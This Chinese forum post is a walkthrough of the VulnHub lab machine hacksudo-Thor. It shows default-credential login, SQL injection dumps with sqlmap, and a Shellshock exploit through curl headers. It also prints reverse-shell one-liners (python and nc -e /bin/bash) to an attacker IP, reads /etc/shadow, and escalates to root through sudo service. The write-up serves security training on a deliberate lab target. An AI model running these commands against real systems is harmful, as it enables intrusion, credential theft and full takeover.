电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 509 人浏览分享

VnlnHub hacksudo-Thor

[复制链接]
509 0
本帖最后由 zhaorong 于 2022-11-2 11:44 编辑

靶场搭建

靶场下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

QQ截图20221102105003.png

靶场搭建完毕

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

QQ截图20221102105231.png

开放了22端口,存在ssh服务

开放了80端口,存在http服务,且中间件为Apache 2.4.38

访问WEB,发现是一个银行登录页面

QQ截图20221102105321.png

QQ截图20221102105349.png

在news页面看到几条通知,翻译了没有发现有线索

QQ截图20221102105428.png

contact页面,也没有什么线索

QQ截图20221102105518.png

about us 页面和contact页面一样

5558.png

回到登录页面

看是否存在弱口令admin/admin

QQ截图20221102105637.png

发现不正确

抓包看是否存在sql注入,经过多次多符号的测试,发现不存在sql注入

5556.png

搜索一下敏感目录

855.png

发现一个README.md文档,将文档保存下来

856.png

查看,发现是一个网站搭建的说明文档,在其中发现了初始账号和密码

QQ截图20221102105933.png

尝试登录/home页面,发现不正确

还发现了/admin_login.php页面,是管理员的登录页面

809.png

尝试使用前面文档里的默认账号admin/password123登录,发现成功登录

808.png

发现后台可以编辑用户,添加用户,删除用户,添加新闻

806.png

803.png

318.png

316.png

315.png

发现通过url中的cust_id参数就可以改变编辑的用户,尝试看是否存在SQL注入

300.png

298.png

发现果然存在sql注入

接下来利用sql注入来爆出数据库,这里我直接使用sqlmap

抓包将数据包保存到文件中,利用sqlmap -r参数

296.png

发现数据库为MySQL,存在时间注入

289.png

--dbs爆出所有数据库名

288.png

--current-db爆出当前数据库名

286.png

-D hacksudo --tables爆出当前数据库所有表名

282.png

-D hacksudo -T admin --dump爆出admin表所有数据

281.png

-D hacksudo -T customer --dump爆出customer表所有数据

这里爆出的数据和我们在管理员后台上可以编辑的四个用户是一样的

202.png

201.png

198.png

196.png

189.png

188.png

我们使用普通用户账号来登录普通用户的后台,发现可以查看转账记录,可以进行转账,转账的密码就是登录密码

186.png

但是这些发现的sql注入、逻辑漏洞、后台弱口令等都不能让我们拿到shell,所以我们需要寻找其它切入点
在我们搜索敏感目录的时候还发现了/cgi-bin/目录,这个目录是用来存放WEB使用的一些外部接口文件的里
面可能包含一些后缀名为.cgi或者.sh的文件

182.png

我们访问这个目录发现没有访问权限,对这个目录没有访问权限不代表对里面的文件也没有访问权限

181.png

这里需要用到一种漏洞叫破壳漏洞
“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。
利用条件:Bash 版本小于等于4.3

该Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中
解析成函数后Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格
限制边界,也没有做出合法化的参数判断。

180.png

我们现在需要靶机上的bash来设置环境变量执行命令来获取shell,所以我们需要在/cgi-bin/目录下找
到一个cgi或者sh后缀的文件

使用dirsearch来查找,发现两个存在的文件

169.png

这里我们使用shell.sh文件,因为他是个shell脚本文件

使用nmap的破壳漏洞的脚本来检测漏洞是否存在

nmap -A -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=id 192.168.52.141

168.png

发现确实存在破壳漏洞

利用curl来利用漏洞执行命令,看靶机上是否有python,发现有python

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'which python'" \http://192.168.52.141/cgi-bin/shell.sh

166.png

使用python来反弹shell

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'python -c 'import socket,subprocess,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.du
p2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''" \http://192.168.52.141/cgi-bin/shell.sh

利用失败

308.png

看主机上是否存在nc,存在nc

139.png

利用nc反弹shell

先在kali上监听4444端口

执行命令

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'nc 192.168.52.128 4444 -e /bin/b
ash'" \http://192.168.52.141/cgi-bin/shell.sh

138.png

成功获得shell

136.png

获得的shell是不完整的shell,我们利用python pty来升级shell

python -c 'import pty;pty.spawn("/bin/bash")'

133.png

在目录下看到所有的cgi和sh文件

108.png

在/etc/passwd下看到两个可以用于ssh登录的用户

106.png

在家目录下也看到一个thor的家目录,没有权限进入

103.png

提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以thor用的的身份执行/home/thor目录下的hammer.sh文件

QQ截图20221102113137.png

尝试执行

问我们你想和thor谈话吗,发现让我们输入密码

3210.png

直接回车发现直接进入了输入对话

3256.png

再执行一次输入其它密码,发现密码在下一句i am后面返回为名字了

3109.png

还发现输入对话的地方如果输入命令会被执行

3108.png

如果我们直接输入/bin/bash ,发现成功获得了thor的shell,成功提权

3106.png

还是不完整的shell,利用python pty升级shell

3103.png

继续提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以root用户身份执行cat和service命令

3102.png

可以通过cat来查看/etc/shadow下的root用户的密码来ssh登录提权

3101.png

也可以通过service直接提权,执行命令

sudo /usr/sbin/service ../../bin/bash

3100.png

3009.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.